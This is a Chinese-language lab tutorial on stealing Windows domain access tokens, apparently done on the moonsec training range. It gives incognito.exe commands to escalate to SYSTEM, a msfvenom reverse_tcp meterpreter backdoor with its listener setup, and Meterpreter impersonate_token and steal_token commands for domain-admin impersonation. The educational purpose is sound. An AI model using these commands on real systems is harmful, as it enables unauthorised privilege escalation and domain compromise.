域环境token窃取

文中主要讲解内网域环境，通过学习掌握域环境，更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅，文中内容全由个人理解编制，若有错处，大佬勿喷，个人学艺不精；本文中提到的任何技术都源自于靶场练习，仅供学习参考，请勿利用文章内的相关技术从事非法测试，如因产生的一切不良后果与文章作者无关。

域环境token窃取

令牌(token)是系统的临时秘钥，相当于账号和密码，用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下，访问网络和系统资源，这些令牌将持续存在于系统中，除非系统重新启动。令牌最大的特点就是随机性，不可预测，黑客或软件无法猜测出令牌。
令牌(token)可以假冒，当我们需要域管理员操作权限时，就可以通过假冒域管理员的令牌进行攻击：
这里我们主要说访问令牌(Access Token),在windows中Access Token分为两种：授权令牌(Delegation Token)和模拟令牌(Impresonation Token) ；它们之前的区别就在于前者属于交互式会话登陆，而后者属于非交互的会话，两种Token在系统重启后会清除，但前者的Token用户在注销后，会变成后者。

Access Token的窃取和利用

此方法需要administrator管理员权限，当我们如果只是一个webshell或者user组权限时，是需要先进行提权操作。

本地使用incognito

程序地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
使用incognito来进行令牌窃取：
将Access Token进行列举：
从图上可以看出域用户权限是无法列举Access Token

使用本地administrator组权限，进行Access Token列举：

incognito.exe list_tokens -u

复制token名来进行模拟其他用户：
提权至系统管理员组权限;

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe #提权至system
exit #退回当前权限

MSF中使用incognito模块

msf生成后门：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.20 LPORT=4444 -f exe > msf.exe

msf开启监听：

msfconsole
use exploit/multi/handler
use set payload windows/x64/meterpreter/reverse_tcp
use set LHOST 192.168.1.20
use set LPORT 4444 #默认就是4444 
exploit

成功反弹：

获取本地管理员权限后，进入incognito模块：

use incognito #进入 incognito 模块
list_tokens -u #列举令牌
impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminstrator 的令牌
impersonate_token moonsec\\test #假冒 moonsec\test的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌
rev2self #返回之前的tonken

通过进程来同样可以窃取令牌：

steal_token PID #根据PID号来窃取